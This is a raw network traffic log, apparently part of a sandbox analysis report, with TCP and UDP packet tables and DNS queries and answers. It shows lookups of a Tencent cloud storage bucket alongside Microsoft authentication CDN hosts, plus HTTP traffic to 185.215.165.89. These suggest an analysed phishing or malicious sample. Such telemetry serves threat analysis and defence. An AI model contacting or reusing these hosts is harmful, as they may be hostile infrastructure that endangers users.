Oct 1, 2024 12:21:58.686835051 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:58.686842918 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.400949001 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.401026964 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:00.402731895 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:00.402739048 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.402965069 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.404783964 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:00.404783964 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:00.404798031 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.404994011 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:00.447401047 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.581135988 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.581198931 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:00.581279993 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:00.581475973 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:00.581486940 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:06.570416927 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:06.570466042 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:06.570522070 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:06.571244001 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:06.571258068 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:07.202466011 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:07.202761889 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:07.202775002 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:07.203119040 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:07.203411102 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:07.203464985 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:07.256112099 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:13.442914009 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:22:13.442975998 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:22:14.363337994 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:22:14.368228912 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:22:14.927016020 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:22:14.927119970 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:22:16.337007046 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:22:16.341872931 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:22:17.125674963 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:17.125763893 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:17.125905991 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:18.345454931 CEST	61048	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:22:18.345485926 CEST	443	61048	216.58.212.132	192.168.2.6
Oct 1, 2024 12:22:34.935930967 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:34.935972929 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:34.939784050 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:34.940352917 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:34.940370083 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.723100901 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.723190069 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:35.738028049 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:35.738035917 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.738395929 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.753106117 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:35.753106117 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:35.753129005 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.753504038 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:35.795404911 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.922581911 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.922815084 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.922866106 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:35.923118114 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:22:35.923135996 CEST	443	61051	40.115.3.253	192.168.2.6
Oct 1, 2024 12:22:35.923146963 CEST	61051	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:06.633656979 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:06.633708954 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:06.633805990 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:06.634118080 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:06.634131908 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:07.375149012 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:07.375643969 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:07.375665903 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:07.376032114 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:07.376543999 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:07.376607895 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:07.429116964 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:17.286792994 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:17.286864996 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:17.288651943 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:18.339955091 CEST	61052	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:23:18.339982986 CEST	443	61052	216.58.212.132	192.168.2.6
Oct 1, 2024 12:23:23.032371044 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.032409906 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:23.036494970 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.037060022 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.037075043 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:23.838720083 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:23.838804960 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.840785980 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.840800047 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:23.841074944 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:23.843106985 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.843175888 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.843185902 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:23.843420029 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:23.891407967 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:24.016679049 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:24.016858101 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:23:24.016926050 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:24.017036915 CEST	61053	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:23:24.017060995 CEST	443	61053	40.115.3.253	192.168.2.6
Oct 1, 2024 12:24:11.982465029 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:11.982508898 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:11.982568026 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:11.983335972 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:11.983345985 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.768371105 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.768461943 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:12.770189047 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:12.770195007 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.770412922 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.772484064 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:12.772484064 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:12.772496939 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.772767067 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:12.815397024 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.946991920 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.947478056 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.947612047 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:12.947612047 CEST	61054	443	192.168.2.6	40.113.110.67
Oct 1, 2024 12:24:12.947635889 CEST	443	61054	40.113.110.67	192.168.2.6
Oct 1, 2024 12:24:12.947659016 CEST	61054	443	192.168.2.6	40.113.110.67

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 12:21:01.942321062 CEST	53	64844	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.035603046 CEST	53	62736	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.167860985 CEST	49921	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.168032885 CEST	61058	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.168553114 CEST	50289	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.168673038 CEST	55327	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.169457912 CEST	60958	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.169779062 CEST	51401	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.170593977 CEST	56238	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.170737028 CEST	61658	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.171245098 CEST	57461	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.171381950 CEST	58366	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.174726009 CEST	53	61058	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.174858093 CEST	53	49921	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.175236940 CEST	53	50289	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.175329924 CEST	53	55327	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.176877975 CEST	53	51401	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.176889896 CEST	53	55326	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.177020073 CEST	53	60958	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.177223921 CEST	53	56238	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.178071976 CEST	53	61658	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.340843916 CEST	53	58366	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.502895117 CEST	53	57461	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.883743048 CEST	63506	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.884008884 CEST	58760	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.891040087 CEST	53	63506	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.891524076 CEST	53	58760	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.897907019 CEST	64970	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.898289919 CEST	59071	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:02.905128956 CEST	53	64970	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:02.905361891 CEST	53	59071	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:03.337306023 CEST	57409	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:03.337449074 CEST	60016	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:03.338232040 CEST	53	54682	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:03.339082956 CEST	63513	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:03.339216948 CEST	50291	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:03.345055103 CEST	53	60016	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:03.345132113 CEST	53	57409	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:03.346441031 CEST	53	50291	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:03.346465111 CEST	53	63513	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:03.348881960 CEST	53	53407	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:04.872222900 CEST	56694	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:04.872488976 CEST	53748	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:05.041686058 CEST	53	53748	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:05.182187080 CEST	53	56694	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:06.489723921 CEST	53	57039	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:06.510051966 CEST	63876	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:06.510483980 CEST	51591	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:06.516788006 CEST	53	63876	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:06.517411947 CEST	53	51591	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:08.297399044 CEST	49295	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:08.297841072 CEST	60710	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:08.305114031 CEST	53	49295	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:08.305211067 CEST	53	60710	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:11.056222916 CEST	61660	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:11.056401968 CEST	61719	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:11.063199043 CEST	53	61660	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:11.064325094 CEST	53	61719	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:20.890779018 CEST	53	61084	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:39.797485113 CEST	53	62009	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:43.841613054 CEST	53	62858	1.1.1.1	192.168.2.6
Oct 1, 2024 12:22:02.634982109 CEST	53	55747	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 1, 2024 12:21:02.167860985 CEST	192.168.2.6	1.1.1.1	0xf1bf	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.168032885 CEST	192.168.2.6	1.1.1.1	0xcecb	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:02.168553114 CEST	192.168.2.6	1.1.1.1	0xa86d	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.168673038 CEST	192.168.2.6	1.1.1.1	0x5d1f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:02.169457912 CEST	192.168.2.6	1.1.1.1	0x274f	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.169779062 CEST	192.168.2.6	1.1.1.1	0xe259	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:02.170593977 CEST	192.168.2.6	1.1.1.1	0xf97f	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.170737028 CEST	192.168.2.6	1.1.1.1	0xd6a6	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:02.171245098 CEST	192.168.2.6	1.1.1.1	0x8db1	Standard query (0)	6146851516-1323985617.cos.na-ashburn.myqcloud.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.171381950 CEST	192.168.2.6	1.1.1.1	0xfd8a	Standard query (0)	6146851516-1323985617.cos.na-ashburn.myqcloud.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:02.883743048 CEST	192.168.2.6	1.1.1.1	0x9110	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.884008884 CEST	192.168.2.6	1.1.1.1	0x5e34	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:02.897907019 CEST	192.168.2.6	1.1.1.1	0xa529	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.898289919 CEST	192.168.2.6	1.1.1.1	0x6678	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:03.337306023 CEST	192.168.2.6	1.1.1.1	0xf54	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:03.337449074 CEST	192.168.2.6	1.1.1.1	0xbaf4	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:03.339082956 CEST	192.168.2.6	1.1.1.1	0xf4c5	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:03.339216948 CEST	192.168.2.6	1.1.1.1	0x9a4d	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:04.872222900 CEST	192.168.2.6	1.1.1.1	0xd4eb	Standard query (0)	6146851516-1323985617.cos.na-ashburn.myqcloud.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:04.872488976 CEST	192.168.2.6	1.1.1.1	0x4d3f	Standard query (0)	6146851516-1323985617.cos.na-ashburn.myqcloud.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:06.510051966 CEST	192.168.2.6	1.1.1.1	0xdcdd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:06.510483980 CEST	192.168.2.6	1.1.1.1	0xf805	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 1, 2024 12:21:08.297399044 CEST	192.168.2.6	1.1.1.1	0x9ae0	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:08.297841072 CEST	192.168.2.6	1.1.1.1	0x8b5b	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 1, 2024 12:21:11.056222916 CEST	192.168.2.6	1.1.1.1	0x69b0	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:11.056401968 CEST	192.168.2.6	1.1.1.1	0xf185	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 1, 2024 12:21:02.174858093 CEST	1.1.1.1	192.168.2.6	0xf1bf	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.174858093 CEST	1.1.1.1	192.168.2.6	0xf1bf	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.174858093 CEST	1.1.1.1	192.168.2.6	0xf1bf	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.174858093 CEST	1.1.1.1	192.168.2.6	0xf1bf	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.175236940 CEST	1.1.1.1	192.168.2.6	0xa86d	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.175236940 CEST	1.1.1.1	192.168.2.6	0xa86d	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.175329924 CEST	1.1.1.1	192.168.2.6	0x5d1f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 1, 2024 12:21:02.176877975 CEST	1.1.1.1	192.168.2.6	0xe259	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Oct 1, 2024 12:21:02.177020073 CEST	1.1.1.1	192.168.2.6	0x274f	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.177020073 CEST	1.1.1.1	192.168.2.6	0x274f	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.177223921 CEST	1.1.1.1	192.168.2.6	0xf97f	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.177223921 CEST	1.1.1.1	192.168.2.6	0xf97f	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.178071976 CEST	1.1.1.1	192.168.2.6	0xd6a6	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Oct 1, 2024 12:21:02.502895117 CEST	1.1.1.1	192.168.2.6	0x8db1	No error (0)	6146851516-1323985617.cos.na-ashburn.myqcloud.com	cos.na-ashburn.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:02.502895117 CEST	1.1.1.1	192.168.2.6	0x8db1	No error (0)	cos.na-ashburn.myqcloud.com		49.51.77.119	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.502895117 CEST	1.1.1.1	192.168.2.6	0x8db1	No error (0)	cos.na-ashburn.myqcloud.com		49.51.78.226	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.891040087 CEST	1.1.1.1	192.168.2.6	0x9110	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.891040087 CEST	1.1.1.1	192.168.2.6	0x9110	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.891524076 CEST	1.1.1.1	192.168.2.6	0x5e34	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Oct 1, 2024 12:21:02.905128956 CEST	1.1.1.1	192.168.2.6	0xa529	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.905128956 CEST	1.1.1.1	192.168.2.6	0xa529	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:02.905361891 CEST	1.1.1.1	192.168.2.6	0x6678	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 1, 2024 12:21:03.345132113 CEST	1.1.1.1	192.168.2.6	0xf54	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:03.345132113 CEST	1.1.1.1	192.168.2.6	0xf54	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:03.345132113 CEST	1.1.1.1	192.168.2.6	0xf54	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:03.345132113 CEST	1.1.1.1	192.168.2.6	0xf54	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:03.346441031 CEST	1.1.1.1	192.168.2.6	0x9a4d	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Oct 1, 2024 12:21:03.346465111 CEST	1.1.1.1	192.168.2.6	0xf4c5	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:03.346465111 CEST	1.1.1.1	192.168.2.6	0xf4c5	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:05.182187080 CEST	1.1.1.1	192.168.2.6	0xd4eb	No error (0)	6146851516-1323985617.cos.na-ashburn.myqcloud.com	cos.na-ashburn.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:05.182187080 CEST	1.1.1.1	192.168.2.6	0xd4eb	No error (0)	cos.na-ashburn.myqcloud.com		49.51.78.226	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:05.182187080 CEST	1.1.1.1	192.168.2.6	0xd4eb	No error (0)	cos.na-ashburn.myqcloud.com		49.51.77.119	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:06.516788006 CEST	1.1.1.1	192.168.2.6	0xdcdd	No error (0)	www.google.com		216.58.212.132	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:06.517411947 CEST	1.1.1.1	192.168.2.6	0xf805	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 1, 2024 12:21:08.305114031 CEST	1.1.1.1	192.168.2.6	0x9ae0	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:08.305114031 CEST	1.1.1.1	192.168.2.6	0x9ae0	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:08.305114031 CEST	1.1.1.1	192.168.2.6	0x9ae0	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:08.305211067 CEST	1.1.1.1	192.168.2.6	0x8b5b	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:08.305211067 CEST	1.1.1.1	192.168.2.6	0x8b5b	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:08.306587934 CEST	1.1.1.1	192.168.2.6	0xc347	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:08.306587934 CEST	1.1.1.1	192.168.2.6	0xc347	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:09.214787006 CEST	1.1.1.1	192.168.2.6	0xf85b	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:09.214787006 CEST	1.1.1.1	192.168.2.6	0xf85b	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 1, 2024 12:21:11.063199043 CEST	1.1.1.1	192.168.2.6	0x69b0	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:11.063199043 CEST	1.1.1.1	192.168.2.6	0x69b0	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:11.063199043 CEST	1.1.1.1	192.168.2.6	0x69b0	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
